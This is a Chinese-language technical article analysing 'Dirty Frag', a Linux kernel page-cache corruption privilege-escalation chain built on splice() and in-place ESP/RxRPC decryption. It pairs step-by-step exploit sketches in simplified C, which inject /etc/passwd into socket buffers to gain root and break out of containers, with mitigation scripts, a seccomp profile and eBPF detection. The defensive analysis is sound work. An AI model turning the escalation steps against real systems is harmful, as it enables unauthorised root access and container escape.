Dirty Frag 深度实战:Linux 内核零拷贝页缓存污染漏洞——从 splice() 注入到双链提权的完整技术剖析
引言:页缓存污染漏洞的终极形态
2026 年 5 月,Linux 安全圈被一个名为 Dirty Frag 的漏洞彻底引爆。这个由韩国安全研究员 Hyunwoo Kim 发现的漏洞链,将「只读页缓存非授权写入」这一攻击技术推向了前所未有的高度:无需竞争条件、无需特殊权限、不崩溃系统、覆盖几乎所有主流 Linux 发行版,一条命令即可从普通用户提权至 root。
这不是一个孤立的漏洞,而是一个延续了整整十年的漏洞家族的最新成员。从 2016 年的 Dirty Cow,到 2022 年的 Dirty Pipe,再到 2026 年 4 月的 Copy Fail,每一次都在揭示同一个系统性问题——Linux 内核为了追求性能而引入的零拷贝优化,始终缺少统一的权限校验机制。
本文将从底层原理出发,深入剖析 Dirty Frag 的技术细节,包括 splice() 零拷贝机制如何被滥用、xfrm-ESP 与 RxRPC 两条攻击链的完整利用流程、内核为何无法检测这种攻击,以及从程序员视角的实战防护方案。
一、漏洞家族谱系:一脉相承的页缓存污染
1.1 攻击哲学:零拷贝 = 安全换性能
理解 Dirty Frag 的前提是理解 Linux 内核的零拷贝(zero-copy)优化哲学。在现代操作系统中,性能瓶颈往往不在 CPU 计算,而在内存拷贝。一次传统的 read() + write() 操作,数据需要在内核态和用户态之间来回拷贝两次,对于高吞吐量的网络服务器来说,这种开销是不可接受的。
splice() 系统调用就是零拷贝优化的核心实现。它允许数据在两个文件描述符之间直接传输,而不需要将数据拷贝到用户态。内核的实现方式是:直接将文件系统的页缓存(Page Cache)页映射到管道缓冲区或网络套接字缓冲区中。
// splice() 的典型用法:将文件内容零拷贝发送到网络
ssize_t splice(int fd_in, off_t *off_in, int fd_out, off_t *off_out,
size_t len, unsigned int flags);
// 实际使用示例
int fd = open("/etc/passwd", O_RDONLY); // 只读打开
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
// 将 /etc/passwd 的页缓存直接注入到套接字发送缓冲区
splice(fd, NULL, sockfd, NULL, 4096, 0);
关键问题在于:splice() 将页缓存页的指针直接交给了目标缓冲区,没有创建数据副本。当目标缓冲区后续对这块内存进行「原地修改」时,修改会直接作用于原始的页缓存——即使该页对应的文件对调用者来说是只读的。
这就是整个漏洞家族的攻击根基。
1.2 四代漏洞的演进
| 漏洞 | CVE | 年份 | 攻击位置 | 核心成因 | 写入可控度 | 竞争条件 |
|---|---|---|---|---|---|---|
| Dirty Cow | CVE-2016-5195 | 2016 | 内存管理子系统 | COW 写时复制的竞争条件 | 任意字节 | 需要,约 90% 成功率 |
| Dirty Pipe | CVE-2022-0847 | 2022 | 匿名管道子系统 | splice() 后管道可写标志未清零 | 任意字节 | 无,100% 成功 |
| Copy Fail | CVE-2026-31431 | 2026 | 加密子系统 algif_aead | AEAD 原地解密未校验源页权限 | 4 字节可控 | 无 |
| Dirty Frag | CVE-2026-43284 / CVE-2026-43500 | 2026 | 网络子系统 ESP / RxRPC | skb 分片原地解密未校验页来源 | ESP: 任意字节; RxRPC: 8 字节 | 无 |
每一代漏洞都在前作的基础上拓宽了攻击面:
- Dirty Cow 证明了页缓存可以被非授权修改,但需要竞争条件,可能崩溃
- Dirty Pipe 消除了竞争条件,但攻击面仅限管道子系统,修复后即堵死
- Copy Fail 将攻击面扩展到加密子系统,但只有 4 字节可控写入
- Dirty Frag 将攻击面扩展到网络协议栈,双路径互补,覆盖所有发行版
二、Linux 内核页缓存与零拷贝机制深度解析
2.1 页缓存:文件系统的性能基石
Linux 内核的页缓存(Page Cache)是文件 I/O 性能的核心优化。当进程第一次读取文件时,内核将文件内容加载到物理内存页中,后续的读写操作直接操作内存中的页,而非磁盘。这极大地减少了磁盘 I/O。
// 页缓存的核心结构(简化)
struct page {
unsigned long flags; // 页状态标志,如 PG_dirty, PG_locked
struct address_space *mapping; // 所属的地址空间(关联 inode)
pgoff_t index; // 页在文件中的偏移
atomic_t _refcount; // 引用计数
// ...
};
// 页缓存查找流程
struct page *find_get_page(struct address_space *mapping, pgoff_t offset) {
// 在 radix tree / xarray 中查找指定偏移的页
// 如果页在缓存中,增加引用计数并返回
// 如果不在,返回 NULL(触发磁盘读取)
}
页缓存的关键安全属性:
- 只读文件的页缓存页标记为只读(通过页表项的 R/W 位)
- 对只读文件的写入会触发页错误,内核会拒绝
- 页缓存在所有进程间共享——同一个文件只有一个页缓存副本
属性 3 是整个漏洞家族能造成危害的根本原因:如果攻击者能绕过属性 1 的保护修改页缓存,所有读取该文件的进程都会看到被篡改的内容。
2.2 splice() 零拷贝的内部实现
splice() 的核心实现涉及两个关键数据结构:pipe_buffer 和 sk_buff。
// 管道缓冲区结构
struct pipe_buffer {
struct page *page; // 指向页缓存页
unsigned int offset, len; // 数据在页内的偏移和长度
const struct pipe_buf_operations *ops;
unsigned int flags; // 关键:PIPE_BUF_FLAG_CAN_MERGE 标志
};
// 网络套接字缓冲区结构(简化)
struct sk_buff {
// ...
skb_frag_t *frags; // 分片数组,每个分片指向一个内存页
// ...
};
// skb 分片结构
typedef struct bio_vec skb_frag_t;
struct bio_vec {
struct page *bv_page; // 指向内存页(可能是页缓存页!)
unsigned int bv_len;
unsigned int bv_offset;
};
当 splice() 被调用时,内核执行的简化流程:
// splice_file_to_pipe 的简化逻辑
ssize_t splice_file_to_pipe(struct file *in, struct pipe_inode_info *pipe,
loff_t *ppos, size_t len, unsigned int flags) {
// 1. 查找文件的页缓存
struct page *page = find_get_page(in->f_mapping, offset);
// 2. 将页缓存页直接关联到管道缓冲区(零拷贝!)
pipe->bufs[pipe->head].page = page; // 只增加引用计数,不拷贝数据
pipe->bufs[pipe->head].flags = PIPE_BUF_FLAG_CAN_MERGE; // 标记可合并
// 3. 后续管道操作可能"原地修改"这个页
// 如果页来自只读文件,这就是安全灾难
}
2.3 Dirty Pipe 的遗产:PIPE_BUF_FLAG_CAN_MERGE
2022 年 Dirty Pipe 的核心问题是 PIPE_BUF_FLAG_CAN_MERGE 标志。当 splice() 将文件页注入管道后,该标志没有被清除,导致后续的 write() 操作可以「合并」到这个页上——即直接修改只读文件的页缓存。
修复方案看似简单:在 splice() 完成后清除 PIPE_BUF_FLAG_CAN_MERGE 标志。
// Dirty Pipe 的修复补丁
// 在 splice 操作完成后,清除可合并标志
buf->flags &= ~PIPE_BUF_FLAG_CAN_MERGE;
但这个修复只堵住了管道这一条路径。内核中还有大量其他路径也接收来自 splice() 的页缓存页,且会对这些页进行原地修改。Dirty Pipe 的修复者也许没有意识到,他们修复的只是冰山一角。
三、Dirty Frag 核心技术深度剖析
3.1 双漏洞链架构
Dirty Frag 由两个独立的漏洞组成,它们互为补充:
- xfrm-ESP 路径(CVE-2026-43284):利用 IPsec ESP 协议的原地解密逻辑
- RxRPC 路径(CVE-2026-43500):利用 RxRPC 协议的原地解密逻辑
两条链的攻击原理完全一致——都是通过 splice() 将只读文件的页缓存注入到 sk_buff 的分片中,然后利用网络协议栈的原地解密操作覆盖页缓存内容。区别在于:
| 维度 | ESP 路径 | RxRPC 路径 |
|---|---|---|
| 影响内核版本 | ≥ 4.13(2017 年) | ≥ 6.2(2023 年) |
| 需要的权限 | 需要 CAP_NET_ADMIN(通过用户命名空间获取) | 无需任何特殊权限 |
| 写入可控度 | 完全可控(构造加密数据包控制解密结果) | 半可控(约 8 字节,需暴力碰撞) |
| 默认防护 | Ubuntu 等默认 AppArmor 可拦截 | 无默认防护 |
| 互补作用 | 覆盖老版本内核 | 绕过 ESP 路径的权限限制 |
3.2 xfrm-ESP 路径完整利用流程
3.2.1 IPsec ESP 原地解密机制
IPsec 是 Linux 内核内置的网络安全协议套件,ESP(Encapsulating Security Payload)是其中的加密传输协议。当内核接收到一个 ESP 加密数据包时,需要对其进行解密。
为了提升性能,内核在 2017 年的提交 cac2661c53f3 中引入了原地解密优化——直接在 sk_buff 的分片所指向的内存页上进行解密,避免额外的内存拷贝:
// net/xfrm/xfrm_input.c - 简化的 ESP 原地解密逻辑
int xfrm_input(struct sk_buff *skb, int nexthdr, __be32 spi, int encap_type) {
struct xfrm_state *x;
// 查找对应的安全联盟(Security Association)
x = xfrm_state_lookup(net, skb->mark, daddr, spi, proto, family);
// 核心漏洞点:原地解密
// x->type->input() 会直接修改 skb->frags 指向的内存页
// 如果 frags 中包含只读文件的页缓存页,解密操作会覆盖页缓存
err = x->type->input(x, skb);
if (err)
goto drop;
return 0;
drop:
kfree_skb(skb);
return err;
}
关键问题:x->type->input() 没有检查 skb->frags 中的页是否为只读页缓存。它假设所有 frags 指向的都是内核私有的网络缓冲区内存——但在 splice() 的帮助下,这不再成立。
3.2.2 攻击流程详解
第一步:创建用户命名空间获取 CAP_NET_ADMIN
// 创建用户命名空间,在其中获得 CAP_NET_ADMIN 能力
// 这允许非特权用户配置 IPsec 安全联盟
int create_user_ns(void) {
// 使用 clone 创建新进程,启用自己的用户命名空间
// 在新命名空间中,该进程拥有所有能力,包括 CAP_NET_ADMIN
pid_t pid = clone(child_func, stack_top,
CLONE_NEWUSER | CLONE_NEWNET | SIGCHLD, NULL);
return pid;
}
第二步:安装 ESP 安全联盟
// 在用户命名空间中安装一个使用已知密钥的 ESP 安全联盟
// 攻击者知道密钥,因此可以构造特定的加密数据包
int install_esp_sa(int fd) {
struct {
struct xfrm_usersa_info info;
struct xfrm_algo algo;
char key[16]; // AES-128 密钥
} sa = {0};
// 设置 ESP 安全联盟参数
sa.info.id.spi = htonl(0x12345678); // 已知的 SPI
sa.info.id.proto = IPPROTO_ESP;
sa.info.mode = XFRM_MODE_TRANSPORT;
// 设置加密算法为 AES-128-GCM
strcpy(sa.algo.alg_name, "rfc4106(gcm(aes))");
sa.algo.alg_key_len = 128 + 32; // 128 位密钥 + 32 位 salt
// 设置已知密钥...
// 通过 Netlink 发送安全联盟配置
struct nlmsghdr *nh = build_nlmsg(XFRM_MSG_UPDSA, &sa, sizeof(sa));
send(fd, nh, nh->nlmsg_len, 0);
return 0;
}
第三步:通过 splice() 注入页缓存
// 将只读文件的页缓存注入到网络发送缓冲区
int inject_page_cache(int target_fd, int sock_fd) {
// 打开一个只读文件(如 /etc/passwd)
int file_fd = open("/etc/passwd", O_RDONLY);
// 使用 splice() 将文件页缓存零拷贝注入到套接字
// 内核不会拷贝数据,而是让 sk_buff 的 frags 直接指向页缓存页
ssize_t ret = splice(file_fd, NULL, sock_fd, NULL, 4096,
SPLICE_F_MOVE | SPLICE_F_MORE);
close(file_fd);
return ret;
}
第四步:触发原地解密
// 构造并发送一个 ESP 加密数据包到本地
// 内核接收后会调用 xfrm_input() 进行原地解密
// 解密操作直接覆盖页缓存页的内容
int trigger_decrypt(int sock_fd, struct esp_packet *pkt) {
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(4500), // IPsec NAT-T 端口
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
// 发送精心构造的 ESP 加密数据包
// 解密后的明文 = 攻击者想要写入的内容
sendto(sock_fd, pkt, pkt->len, 0,
(struct sockaddr *)&addr, sizeof(addr));
return 0;
}
第五步:验证提权成功
# 攻击前
whoami
# output: regularuser
# 攻击后,/etc/passwd 被修改,添加了一个 root 权限用户
whoami
# output: root
3.3 RxRPC 路径:无需任何权限的完美利用
3.3.1 RxRPC 原地解密机制
RxRPC 是 Linux 内核实现的远程过程调用协议,主要用于 AFS 分布式文件系统。与 ESP 路径不同,RxRPC 路径的最大优势是不需要任何特殊权限——普通用户即可直接触发。
// net/rxrpc/recvmsg.c - 简化的 RxRPC 数据包处理
int rxrpc_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
int flags) {
struct rxrpc_call *call;
// ...
// RxRPC 也会对加密数据包进行原地解密
// 同样没有校验 frags 中的页是否为只读页缓存
ret = rxrpc_verify_packet(call, skb, &abort_code);
// ...
}
3.3.2 为什么 RxRPC 路径更危险
ESP 路径需要通过用户命名空间获取 CAP_NET_ADMIN,这在 Ubuntu 等默认启用 AppArmor 的发行版中会被拦截。而 RxRPC 路径完全不需要任何特殊权限:
// RxRPC 路径的极简利用(伪代码)
int rxrpc_exploit(void) {
// 不需要创建用户命名空间,不需要 CAP_NET_ADMIN
int fd = open("/etc/passwd", O_RDONLY);
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_RXRPC);
// 直接 splice + 触发解密
splice(fd, NULL, sock, NULL, 4096, SPLICE_F_MOVE);
trigger_rxrpc_decrypt(sock);
// /etc/passwd 页缓存被修改
close(fd);
close(sock);
return 0;
}
RxRPC 路径的写入是「半可控」的——解密后的内容取决于加密密钥和加密数据。攻击者需要通过暴力碰撞找到合适的密钥,使得解密结果恰好是想要写入的内容。由于只需要写入约 8 字节(足以在 /etc/passwd 中添加一个用户),暴力碰撞在毫秒级别即可完成。
3.4 漏洞根因:SKBFL_SHARED_FRAG 标志的未传播
从内核代码层面看,Dirty Frag 的直接根因是 SKBFL_SHARED_FRAG 标志的未正确传播。
// 在正常的网络数据包处理中,skb 合并操作需要传播 shared frag 标志
// 以标记该 skb 的分片指向的内存页可能被其他路径共享
static inline void skb_headers_offset_update(struct sk_buff *skb, int off) {
// ... 各种偏移更新
// 但没有更新 SKBFL_SHARED_FRAG 标志!
}
// ESP 解密路径中的检查(如果存在的话)
int esp_input(struct xfrm_state *x, struct sk_buff *skb) {
// 正确的做法应该是:
if (skb_shinfo(skb)->flags & SKBFL_SHARED_FRAG) {
// 分片指向的页可能被其他路径共享(如页缓存)
// 必须先拷贝数据,再进行原地解密
if (pskb_expand_head(skb, 0, 0, GFP_ATOMIC))
return -ENOMEM;
}
// 但实际上,这段检查根本不存在
// 内核直接在 frags 指向的页上进行解密
err = crypto_aead_decrypt(req); // 直接原地解密
}
pskb_expand_head() 会在检测到共享分片时,将共享的页拷贝到新的私有内存中,确保后续操作不会影响原始页。但内核从未在 ESP 和 RxRPC 的解密入口处添加这个检查。
四、Dirty Frag 为何是「终极形态」:碾压前作的四大优势
4.1 零竞争条件,100% 成功率
与 Dirty Cow 不同,Dirty Frag 是确定性的逻辑漏洞,不依赖任何竞争条件。调用 splice() 和触发解密操作的时序完全由攻击者控制,不存在失败的可能。
// Dirty Cow 的利用需要反复触发竞争条件
// 成功率约 90%,失败可能导致内核崩溃
void dirty_cow_race(void) {
// 线程1:不断调用 madvise(MADV_DONTNEED) 触发 COW
// 线程2:不断写入 /proc/self/mem
// 两个线程竞争同一个页的访问权限
// 可能需要数千次尝试才能成功
// 失败时可能导致内核 panic
}
// Dirty Frag 的利用完全不需要竞争
void dirty_frag_exploit(void) {
// 步骤是确定性的,每一步都 100% 成功
create_user_ns(); // 创建命名空间
install_esp_sa(); // 安装安全联盟
splice_to_socket(); // 注入页缓存
trigger_decrypt(); // 触发解密
// 完成,无需重试
}
4.2 全发行版通杀
两条攻击链互补覆盖了几乎所有 Linux 发行版:
受影响系统一览:
├── RHEL/CentOS 8+ (内核 ≥ 4.18):受 ESP 路径影响
├── RHEL/CentOS 9 (内核 5.14):受 ESP 路径影响
├── Ubuntu 20.04 (内核 5.4):受 ESP 路径影响
├── Ubuntu 22.04+ (内核 ≥ 5.15):受 ESP + RxRPC 路径影响
├── Debian 11+ (内核 ≥ 5.10):受 ESP 路径影响
├── Debian 12+ (内核 ≥ 6.1):受 ESP + RxRPC 路径影响
├── Fedora 38+:受 ESP + RxRPC 路径影响
├── Arch Linux (rolling):受 ESP + RxRPC 路径影响
├── WSL2 (所有版本):受 ESP + RxRPC 路径影响
├── 云服务器 (阿里云/腾讯云/AWS):受影响
└── 嵌入式 Linux 设备:多数受 ESP 路径影响
不受影响:
└── RHEL/CentOS 7 (内核 3.10):太老,ESP 原地解密功能不存在
4.3 绕过所有现有内核安全机制
Dirty Frag 完美绕过了目前主流的内核安全防护:
# 以下防护机制全部无法阻止 Dirty Frag
AppArmor/SELinux # 无法拦截 splice() 和普通网络调用
SMAP/SMEP # 攻击不涉及执行用户态代码
KASLR # 攻击不需要知道内核地址
内核地址空间随机化 # 同上
seccomp 默认策略 # splice() 不在默认黑名单中
容器隔离 # 容器内普通用户可直接提权宿主机 root
4.4 完全隐蔽,不留痕迹
Dirty Frag 的隐蔽性是其最可怕的特性之一:
不写磁盘:攻击只修改内存中的页缓存,不触发磁盘写入。传统的文件完整性检查工具(AIDE、Tripwire)检查的是磁盘上的文件,无法检测到内存中被篡改的页缓存。
不标记脏页:内核认为这些页是「只读」的,不会将它们标记为脏页(dirty page),因此修改永远不会被写回磁盘。系统重启后,页缓存被清除,一切恢复原状——攻击痕迹自动消失。
无异常系统调用:整个利用过程只使用了
socket()、open()、splice()、sendto()等完全正常的系统调用,基于规则的入侵检测系统几乎无法识别。不崩溃系统:即使攻击失败,也不会导致内核崩溃或进程异常,攻击者可以静默重试。
五、容器逃逸:Dirty Frag 对云原生的致命威胁
5.1 容器隔离为何形同虚设
Docker 和 Kubernetes 的安全模型建立在 Linux 命名空间(Namespace)和控制组(cgroup)的基础上。命名空间提供了进程、网络、文件系统等资源的隔离,cgroup 提供了资源限制。但两者都不限制容器内进程对内核系统调用的访问。
Dirty Frag 的利用只需要以下系统调用:
open()— 打开文件splice()— 零拷贝数据传输socket()/sendto()— 网络操作
这些系统调用在默认的 Docker 和 Kubernetes 配置中都是允许的。更危险的是,容器与宿主机共享同一个内核,容器内的页缓存修改直接影响宿主机。
# 容器内执行 Dirty Frag 攻击
docker run -it --rm ubuntu:22.04 bash
# 在容器内
whoami # root(容器内的 root,实际上是宿主机的普通用户)
# 执行 Dirty Frag 提权
python3 dirtyfrag.py --auto
# 提权后,攻击者获得的是宿主机的 root 权限!
# 因为修改的是宿主机内核的页缓存
5.2 Kubernetes 集群的级联风险
在 Kubernetes 环境中,风险更为严重:
Pod 内攻击:同一 Pod 内的容器共享网络命名空间,攻击者可以在一个容器中利用 Dirty Frag 提权,影响同一 Pod 中的其他容器。
Node 级逃逸:如果攻击者获得 Node 上任何一个容器的 shell,就可以利用 Dirty Frag 提权到 Node 的 root,进而控制该 Node 上的所有 Pod。
集群级扩散:如果 Node 上运行了 kubelet 或 etcd 的 Pod,攻击者可以利用 root 权限窃取集群凭证,进一步攻击整个 Kubernetes 集群。
# 一个看似安全的 Pod 配置
apiVersion: v1
kind: Pod
metadata:
name: web-app
spec:
containers:
- name: app
image: ubuntu:22.04
securityContext:
runAsNonRoot: true # 非 root 运行
readOnlyRootFilesystem: true # 只读文件系统
allowPrivilegeEscalation: false # 禁止提权
# 但这些安全措施对 Dirty Frag 完全无效!
# 因为攻击利用的是内核漏洞,而非容器配置
六、实战防护方案
6.1 优先级最高:禁用风险内核模块
这是最直接、最有效的防护措施:
#!/bin/bash
# dirtyfrag-mitigate.sh — Dirty Frag 临时防护脚本
# 第一步:检查系统是否受影响
echo "=== Dirty Frag 风险检查 ==="
KERNEL_VERSION=$(uname -r | cut -d. -f1-2 | tr -d '.')
if [ "$KERNEL_VERSION" -lt 413 ]; then
echo "[安全] 内核版本 $(uname -r) 不受 Dirty Frag 影响(< 4.13)"
exit 0
fi
# 第二步:检查 ESP 模块状态
echo "[检查] ESP 模块状态:"
grep -wE 'CONFIG_INET_ESP|CONFIG_INET6_ESP' /boot/config-$(uname -r) 2>/dev/null || echo "无法读取内核配置"
# 第三步:检查 RxRPC 模块状态
echo "[检查] RxRPC 模块状态:"
lsmod | grep rxrpc && echo "[警告] RxRPC 模块已加载!" || echo "[安全] RxRPC 模块未加载"
# 第四步:禁用风险模块(如果不需要 IPsec VPN)
echo ""
echo "=== 应用防护措施 ==="
# 禁用 RxRPC 模块(绝大多数系统不需要)
echo "install rxrpc /bin/false" > /etc/modprobe.d/dirtyfrag.conf
# 如果不需要 IPsec VPN,也禁用 ESP 相关模块
read -p "系统是否使用 IPsec VPN?(y/N): " USE_IPSEC
if [ "$USE_IPSEC" != "y" ] && [ "$USE_IPSEC" != "Y" ]; then
echo "install esp4 /bin/false" >> /etc/modprobe.d/dirtyfrag.conf
echo "install esp6 /bin/false" >> /etc/modprobe.d/dirtyfrag.conf
echo "install xfrm4_tunnel /bin/false" >> /etc/modprobe.d/dirtyfrag.conf
echo "install xfrm6_tunnel /bin/false" >> /etc/modprobe.d/dirtyfrag.conf
echo "[已禁用] ESP 和隧道模块"
else
echo "[保留] ESP 模块(IPsec VPN 需要使用)"
echo "[注意] 请确保启用了用户命名空间限制!"
fi
# 更新 initramfs 使配置在重启后生效
update-initramfs -u 2>/dev/null || dracut -f 2>/dev/null
echo "[完成] initramfs 已更新"
# 立即卸载已加载的模块
rmmod rxrpc 2>/dev/null && echo "[卸载] rxrpc" || echo "[跳过] rxrpc 未加载"
rmmod esp4 2>/dev/null && echo "[卸载] esp4" || echo "[跳过] esp4 未加载"
rmmod esp6 2>/dev/null && echo "[卸载] esp6" || echo "[跳过] esp6 未加载"
echo ""
echo "=== 防护措施已应用 ==="
echo "注意:此为临时措施,请在官方补丁发布后尽快升级内核"
6.2 限制用户命名空间(防护 ESP 路径)
如果系统需要使用 IPsec VPN 而无法禁用 ESP 模块,可以通过限制用户命名空间来防护 ESP 路径:
# 限制非特权用户创建用户命名空间
# 这会阻止攻击者获取 CAP_NET_ADMIN
# 临时生效
sysctl -w kernel.unprivileged_userns_clone=0
# 永久生效
echo "kernel.unprivileged_userns_clone=0" >> /etc/sysctl.d/99-dirtyfrag.conf
sysctl --system
# 验证
sysctl kernel.unprivileged_userns_clone
# 期望输出: kernel.unprivileged_userns_clone = 0
注意事项:禁用用户命名空间会影响 Docker、Podman 等容器运行时的 rootless 模式。如果系统需要运行容器,请使用以下替代方案:
# 仅限制网络命名空间(对容器运行时影响较小)
sysctl -w kernel.unprivileged_userns_clone=1 # 保持用户命名空间
# 通过 AppArmor 配置限制网络操作
6.3 容器环境专项防护
# Kubernetes Pod 安全策略 — 防护 Dirty Frag
apiVersion: v1
kind: Pod
metadata:
name: hardened-pod
spec:
containers:
- name: app
image: myapp:latest
securityContext:
runAsNonRoot: true
runAsUser: 1000
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
# 不添加 NET_ADMIN 能力
# 使用 seccomp 配置禁止 splice() 系统调用
# 注意:需要自定义 seccomp profile
securityContext:
seccompProfile:
type: Localhost
localhostProfile: dirtyfrag-block.json
// dirtyfrag-block.json — Seccomp profile 禁止 splice()
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["splice"],
"action": "SCMP_ACT_ERRNO",
"args": [],
"comment": "Block splice() to mitigate Dirty Frag"
}
]
}
# Docker 运行时防护
# 使用 --security-opt 应用 seccomp profile
docker run --security-opt seccomp=dirtyfrag-block.json \
--user 1000:1000 \
--read-only \
--cap-drop ALL \
myapp:latest
# Docker 26.0.3+ 已内置临时补丁
# 确保使用最新版本的 Docker
docker version
6.4 eBPF 实时检测
利用 eBPF 技术可以实时监控 Dirty Frag 的攻击行为:
// dirtyfrag_detect.bpf.c — eBPF 检测程序
// 监控 splice() 系统调用,检测是否存在页缓存注入行为
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
struct event {
u32 pid;
u32 uid;
int src_fd;
int dst_fd;
u64 src_inode;
char comm[16];
};
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} events SEC(".maps");
SEC("tracepoint/syscalls/sys_enter_splice")
int trace_splice(struct trace_event_raw_sys_enter *ctx) {
int fd_in = (int)ctx->args[0];
int fd_out = (int)ctx->args[2];
// 检测:splice() 从文件到网络套接字
// 这是 Dirty Frag 攻击的关键特征
struct event *e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
if (!e) return 0;
e->pid = bpf_get_current_pid_tgid() >> 32;
e->uid = bpf_get_current_uid_gid();
e->src_fd = fd_in;
e->dst_fd = fd_out;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
# 编译并运行 eBPF 检测程序
# 需要 BPF CO-RE 支持
bpftool prog load dirtyfrag_detect.bpf.o /sys/fs/bpf/dirtyfrag_detect
# 或者使用 bpftrace 实现更简单的检测
bpftrace -e '
tracepoint:syscalls:sys_enter_splice
/args->fd_out != -1/ {
printf("[ALERT] PID %d (%s) splice fd_in=%d -> fd_out=%d\n",
pid, comm, args->fd_in, args->fd_out);
}
'
6.5 应急响应清单
如果怀疑系统已被 Dirty Frag 攻击:
#!/bin/bash
# dirtyfrag-incident-response.sh — 应急响应脚本
echo "=== Dirty Frag 应急响应 ==="
# 1. 立即隔离系统(如果可能)
echo "[1/6] 建议断开网络连接..."
# 2. 检查是否有异常的 root 用户
echo "[2/6] 检查 /etc/passwd 中的用户..."
awk -F: '$3 == 0 {print "[异常] root 权限用户: " $1}' /etc/passwd
# 3. 检查最近修改的 SUID 文件
echo "[3/6] 检查最近修改的 SUID 文件..."
find / -perm -4000 -mtime -7 2>/dev/null | head -20
# 4. 检查异常进程
echo "[4/6] 检查异常进程..."
ps aux | awk '$8 ~ /U/ {print "[可疑] " $0}'
# 5. 检查网络连接
echo "[5/6] 检查异常网络连接..."
ss -tlnp | grep -v -E '(sshd|nginx|apache|postgres|mysql|redis)'
# 6. 保存内存快照用于取证
echo "[6/6] 建议使用 LiME 保存内存快照..."
echo " cd /tmp && git clone https://github.com/504ensicsLabs/LiME.git"
echo " insmod lime.ko 'path=/tmp/memory.lime format=lime'"
echo ""
echo "=== 建议 ==="
echo "1. 立即重启系统(清除被篡改的页缓存)"
echo "2. 从可信来源重新安装系统(最彻底)"
echo "3. 升级到已修补的内核版本"
echo "4. 应用本文中的防护措施"
七、深层思考:Linux 内核安全的系统性危机
7.1 「原地优化」的系统性风险
Dirty Frag 不是第一个,也绝对不会是最后一个页缓存污染漏洞。问题的根源在于 Linux 内核在过去 20 年间,在几乎所有子系统中都引入了「原地操作」优化,却始终缺少统一的权限校验机制。
// 内核中可能存在类似问题的原地操作路径(不完全统计):
// 1. IPsec ESP 原地解密 → Dirty Frag (CVE-2026-43284) ✅ 已发现
// 2. RxRPC 原地解密 → Dirty Frag (CVE-2026-43500) ✅ 已发现
// 3. algif_aead 原地解密 → Copy Fail (CVE-2026-31431) ✅ 已发现
// 4. 管道 splice 可合并写入 → Dirty Pipe (CVE-2022-0847) ✅ 已发现
// 5. TLS 原地解密? → 待审计
// 6. WireGuard 原地操作? → 待审计
// 7. 压缩算法原地操作? → 待审计
// 8. 校验和原地计算? → 待审计
// ... 还有多少?
每当修复一个子系统,另一个子系统中的类似问题就会被发现。这种「打地鼠」式的安全修复模式是不可持续的。
7.2 根本解决方案:统一零拷贝权限校验
Linux 内核需要的不是又一个子系统级别的补丁,而是一个统一的零拷贝安全框架:
// 提议的统一权限校验框架(概念性代码)
// 在所有零拷贝操作的入口处进行统一的权限检查
/**
* check_zero_copy_source - 检查零拷贝源页的安全性
* @page: 要进行零拷贝的内存页
* @caller: 调用者标识(用于审计日志)
*
* 返回值:
* 0 - 安全,可以进行零拷贝
* -EPERM - 不安全,必须拷贝数据后再操作
*/
int check_zero_copy_source(struct page *page, const char *caller) {
// 检查页是否为页缓存页
if (PageCache(page)) {
// 检查调用者是否对该文件有写权限
struct address_space *mapping = page_mapping(page);
if (!mapping || !inode_permission(mapping->host, MAY_WRITE)) {
pr_warn("zero-copy security: %s attempted in-place modify "
"on read-only page cache (ino=%lu)\n",
caller, mapping->host->i_ino);
return -EPERM;
}
}
// 检查页是否有 SKBFL_SHARED_FRAG 标志
if (PageShared(page)) {
pr_warn("zero-copy security: %s attempted in-place modify "
"on shared page\n", caller);
return -EPERM;
}
return 0;
}
// 在所有原地操作的入口处调用此函数
// 示例:ESP 解密入口
int esp_input(struct xfrm_state *x, struct sk_buff *skb) {
skb_frag_t *frag = &skb_shinfo(skb)->frags[0];
if (check_zero_copy_source(frag->bv_page, "esp_input") < 0) {
// 必须先拷贝数据
if (pskb_expand_head(skb, 0, 0, GFP_ATOMIC))
return -ENOMEM;
}
return crypto_aead_decrypt(req);
}
7.3 Rust 重写内核子系统的前景
Rust 语言的内存安全保证可以从根本上消除这类漏洞。Linux 内核从 6.1 版本开始支持 Rust 驱动开发,越来越多的子系统正在被 Rust 重写。
// 用 Rust 实现的安全零拷贝操作(概念性代码)
// Rust 的借用检查器可以在编译期防止页缓存污染
use kernel::prelude::*;
use kernel::page::Page;
/// 安全的零拷贝操作:Rust 借用检查器确保只读页不会被原地修改
fn safe_zero_copy_transfer(
source: &Page, // 不可变引用:保证页不会被修改
dest: &mut [u8], // 可变引用:只有目标缓冲区可以被修改
) -> Result<()> {
// 编译器会阻止以下操作:
// source.write(offset, data); // 编译错误!不可变引用不能调用 write
// 只允许从 source 读取,写入 dest
let data = source.read()?;
dest.copy_from_slice(data);
Ok(())
}
/// 需要原地修改的操作必须显式声明
fn in_place_decrypt(
buffer: &mut [u8], // 必须拥有可变引用,编译器会检查所有权
) -> Result<()> {
// 只有当调用者证明自己拥有 buffer 的写权限时,才能调用此函数
// 如果 buffer 来自只读页缓存,编译器会拒绝创建可变引用
apply_decryption(buffer);
Ok(())
}
Rust 的借用检查器确保了:如果一个页以只读方式引用(&Page),编译器会在编译期阻止任何修改它的操作。只有当调用者拥有该页的可变引用(&mut Page)时,才能进行原地修改——而要获得可变引用,必须证明自己对该页有写权限。这从语言层面彻底消除了页缓存污染的可能性。
八、总结与展望
Dirty Frag 是 Linux 内核页缓存污染漏洞家族的巅峰之作。它将 Dirty Cow、Dirty Pipe 和 Copy Fail 的攻击技术推向了极致:零竞争条件、全发行版通杀、绕过所有现有安全机制、完全隐蔽不留痕迹。更可怕的是,它已经被黑客在野外利用。
